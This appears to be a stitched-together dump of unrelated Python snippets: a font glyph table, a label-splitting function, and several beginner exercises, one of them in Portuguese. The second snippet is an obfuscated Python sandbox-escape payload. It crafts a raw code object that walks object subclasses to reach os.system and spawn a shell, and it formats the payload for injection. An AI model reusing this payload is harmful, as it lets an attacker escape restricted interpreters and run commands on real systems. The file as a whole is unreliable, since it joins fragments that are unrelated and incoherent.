[ 685, 11, 13, 12, 1, -12 ], # 0x53 'S'
[ 703, 9, 13, 12, 2, -12 ], # 0x54 'T'
[ 718, 11, 13, 13, 1, -12 ], # 0x55 'U'
[ 736, 12, 13, 12, 0, -12 ], # 0x56 'V'
[ 756, 17, 13, 17, 0, -12 ], # 0x57 'W'
[ 784, 12, 13, 12, 0, -12 ], # 0x58 'X'
[ 804, 11, 13, 12, 1, -12 ], # 0x59 'Y'
[ 822, 9, 13, 11, 1, -12 ], # 0x5A 'Z'
[ 837, 4, 17, 6, 1, -12 ], # 0x5B '['
[ 846, 5, 13, 5, 0, -12 ], # 0x5C '\'
[ 855, 4, 17, 6, 0, -12 ], # 0x5D ']'
[ 864, 8, 8, 11, 1, -12 ], # 0x5E '^'
[ 872, 10, 1, 10, 0, 4 ], # 0x5F '_'
[ 874, 3, 2, 5, 0, -12 ], # 0x60 '`'
[ 875, 10, 10, 10, 1, -9 ], # 0x61 'a'
[ 888, 10, 13, 11, 1, -12 ], # 0x62 'b'
[ 905, 9, 10, 10, 1, -9 ], # 0x63 'c'
[ 917, 9, 13, 11, 1, -12 ], # 0x64 'd'
[ 932, 9, 10, 10, 1, -9 ], # 0x65 'e'
[ 944, 5, 13, 6, 1, -12 ], # 0x66 'f'
[ 953, 9, 14, 11, 1, -9 ], # 0x67 'g'
[ 969, 9, 13, 11, 1, -12 ], # 0x68 'h'
[ 984, 3, 13, 5, 1, -12 ], # 0x69 'i'
[ 989, 4, 17, 5, 0, -12 ], # 0x6A 'j'
[ 998, 9, 13, 10, 1, -12 ], # 0x6B 'k'
[ 1013, 3, 13, 5, 1, -12 ], # 0x6C 'l'
[ 1018, 14, 10, 16, 1, -9 ], # 0x6D 'm'
[ 1036, 9, 10, 11, 1, -9 ], # 0x6E 'n'
[ 1048, 10, 10, 11, 1, -9 ], # 0x6F 'o'
[ 1061, 10, 14, 11, 1, -9 ], # 0x70 'p'
[ 1079, 9, 14, 11, 1, -9 ], # 0x71 'q'
[ 1095, 6, 10, 7, 1, -9 ], # 0x72 'r'
[ 1103, 9, 10, 10, 1, -9 ], # 0x73 's'
[ 1115, 5, 12, 6, 1, -11 ], # 0x74 't'
[ 1123, 9, 10, 11, 1, -9 ], # 0x75 'u'
[ 1135, 10, 10, 10, 0, -9 ], # 0x76 'v'
[ 1148, 14, 10, 14, 0, -9 ], # 0x77 'w'
[ 1166, 10, 10, 10, 0, -9 ], # 0x78 'x'
[ 1179, 10, 14, 10, 0, -9 ], # 0x79 'y'
[ 1197, 8, 10, 9, 1, -9 ], # 0x7A 'z'
[ 1207, 4, 17, 7, 1, -12 ], # 0x7B '['
[ 1216, 1, 17, 5, 2, -12 ], # 0x7C '|'
[ 1219, 4, 17, 7, 2, -12 ], # 0x7D ']'
[ 1228, 8, 2, 9, 0, -4 ] ] # 0x7E '~'
FreeSansBold9pt7b = [
FreeSansBold9pt7bBitmaps,
FreeSansBold9pt7bGlyphs,
0x20, 0x7E, 22 ]
# Approx. 1902 bytes
|
s = '''
[setattr(f, 'func_code', type(f.func_code)(0, 0, 2, 67,
'd\\x06\\x00j\\x00\\x00j\\x01\\x00d\\x01\\x00\\x19j\\x02\\x00\\x83\\x00\\x00d\\x02\\x00\\x19j\\x03\\x00j\\x04\\x00d\\x03\\x00\\x19j\\x05\\x00d\\x04\\x00\\x19j\\x06\\x00j\\x07\\x00d\\x05\\x00\\x83\\x01\\x00\\x01d\\x00\\x00'
+ 's'.upper(),
([].append(1), 0, 59, 'sys', 'o' + 's.path', 'sh', ()), ('_' + '_cl' + 'ass_' + '_',
'_' + '_bas' + 'es_' + '_',
'_' + '_subcl' + 'asses_' + '_',
'_' + '_init_' + '_',
'func_glob' + 'als',
'mod' + 'ules',
'o' + 's',
'sy' + 'stem'), (), '', '', 0, '')) + f() for\tf\tin [lambda\t: 1]]
'''
s = s.replace('\n', '').replace(' ', '')
print(s)
|
def split_labels(
label_reader,
training_label_writer,
testing_label_writer,
training_fraction,
max_labels=0,
):
"""Splits a full label set into a training and testing set.
Given a full set of labels and associated inputs, splits up the labels
into training and testing sets in the proportion defined by
training_fraction.
Args:
label_reader: A labelled_data.Reader instance that reads the full set
of labels.
training_label_writer: A labelled_data.Writer instance that writes out
the subset of labels to be used for training.
testing_label_writer: A labelled_data.Writer instance that writes out
the subset of labels to be used for testing.
training_fraction: A value between 0.0 and 1.0 that specifies the
proportion of labels to use for training. Any label not used for
training is used for testing until max_labels is reached.
max_labels: The maximum number of labels to read from label_reader. 0
is treated as infinite.
"""
labels = _read_labels(label_reader, max_labels)
_write_labels(
labels, training_label_writer, testing_label_writer, training_fraction
)
def _read_labels(reader, max_labels):
labels = []
for i, label in enumerate(reader):
if max_labels and i >= max_labels:
break
labels.append(label)
return labels
def _write_labels(
labels, training_label_writer, testing_label_writer, training_fraction
):
training_label_count = int(len(labels) * training_fraction)
training_label_writer.writerows(labels[:training_label_count])
testing_label_writer.writerows(labels[training_label_count:])
|
print("What is your first name?")
firstName = input()
print("What is your last name?")
lastName = input()
fullName = firstName + " " + lastName
greeting = "Hello " + fullName
print(greeting)
|
# Faça um Programa que leia 2 números e em seguida pergunte ao usuário qual operação ele deseja realizar. O resultado da operação deve ser acompanhado de uma frase que diga se o número é:
#a. par ou ímpar;
#b. positivo ou negativo;
#c. inteiro ou decimal.
n1 = float(input('Digite um número: '))
n2 = float(input('Digite outro número: '))
opera = input('Qual operação deseja realizar? ').lower()
if opera == 'soma' or opera == 'somar':
resul = n1 + n2
print(f'\nResultado: {resul}')
if resul % 2 == 0:
print('O número é PAR.')
else:
print('O número é ÍMPAR.')
if resul > 0:
print('O número é POSITIVO.')
else:
print('O número é NEGATIVO.')
if resul // 1 == resul:
print('O número é INTEIRO.')
else:
print('O número é DECIMAL.')
elif opera == 'subtração' or opera == 'subtrair':
resul = n1 - n2
print(f'\nResultado: {resul}')
if resul % 2 == 0:
print('O número é PAR.')
else:
print('O número é ÍMPAR.')
if resul > 0:
print('O número é POSITIVO.')
else:
print('O número é NEGATIVO.')
if resul // 1 == resul:
print('O número é INTEIRO.')
else:
print('O número é DECIMAL.')
elif opera == 'multiplicação' or opera == 'multiplicar':
resul = n1 * n2
print(f'\nResultado: {resul}')
if resul % 2 == 0:
print('O número é PAR.')
else:
print('O número é ÍMPAR.')
if resul > 0:
print('O número é POSITIVO.')
else:
print('O número é NEGATIVO.')
if resul // 1 == resul:
print('O número é INTEIRO.')
else:
print('O número é DECIMAL.')
elif opera == 'divisão' or opera == 'dividir':
resul = n1 / n2
print(f'\nResultado: {resul}')
if resul % 2 == 0:
print('O número é PAR.')
else:
print('O número é ÍMPAR.')
if resul > 0:
print('O número é POSITIVO.')
else:
print('O número é NEGATIVO.')
if resul // 1 == resul:
print('O número é INTEIRO.')
else:
print('O número é DECIMAL.') |
# Write your movie_review function here:
def movie_review(rating):
if rating <= 5:
return "Avoid at all costs!"
elif rating > 5 and rating < 9:
return "This one was fun."
else:
return "Outstanding!"
# Uncomment these function calls to test your movie_review function:
print(movie_review(9))
# should print "Outstanding!"
print(movie_review(4))
# should print "Avoid at all costs!"
print(movie_review(6))
# should print "This one was fun." |
'''
Author: hdert
Date: 25/5/2018
Desc: Input Validation
Version: Dev Build V.0.1.6.9.1
'''
#--Librarys--
#--Definitions--
#--Variables--
choice = ""
number = 0
#-Main-Code--
while(choice != "e"):
'''
while(True):
choice = input("Enter a, b, or c: ")
if(choice.lower() == 'a' or choice.lower() == 'b' or choice.lower() == 'c'):
break
'''
if(number >= 1 and number <= 100):
break
while(True):
try:
number = int(input("Enter a number between 1 and 100: "))
except:
print("You did not enter a valid number")
if(number >= 1 and number <= 100):
break
else:
print("The Number has to be between 1 and 100")
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.